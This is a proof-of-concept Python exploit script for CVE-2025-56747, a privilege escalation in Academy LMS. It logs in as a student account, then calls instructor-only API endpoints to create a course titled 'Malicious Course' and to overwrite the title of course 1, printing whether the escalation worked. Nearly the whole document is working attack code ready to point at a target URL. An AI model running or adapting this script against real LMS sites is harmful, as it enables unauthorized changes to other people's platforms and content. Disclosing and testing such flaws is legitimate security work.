CVE-2025-56747

# CVE-2025-56747 - Academy LMS Privilege Escalation PoC # Exploits missing role validation in Api_instructor controller import requests # Configuration TARGET_URL = "https://target-academy-lms.com" USERNAME = "[email protected]" PASSWORD = "password123" # Step 1: Login as a regular student user session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "email": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Access instructor-only API endpoint without proper role validation # The Api_instructor controller fails to verify user role instructor_api_url = f"{TARGET_URL}/api/instructor/courses" # Step 3: Create a new course as a regular user (privilege escalation) course_data = { "title": "Malicious Course", "description": "Course created via privilege escalation", "category": "hacking", "price": 0, "status": "active" } response = session.post(instructor_api_url, json=course_data) print(f"[*] Course creation response: {response.status_code}") print(f"[*] Response body: {response.text}") # Step 4: Verify the privilege escalation was successful if response.status_code == 200 or response.status_code == 201: print("[+] Privilege escalation successful! Course created with student account.") else: print("[-] Exploitation failed.") # Alternative: Direct API call to instructor functions headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Attempt to manage courses without instructor role manage_url = f"{TARGET_URL}/api/instructor/course/update" update_data = { "course_id": 1, "title": "Updated by attacker" } response = session.post(manage_url, json=update_data, headers=headers) print(f"[*] Course update response: {response.status_code}")

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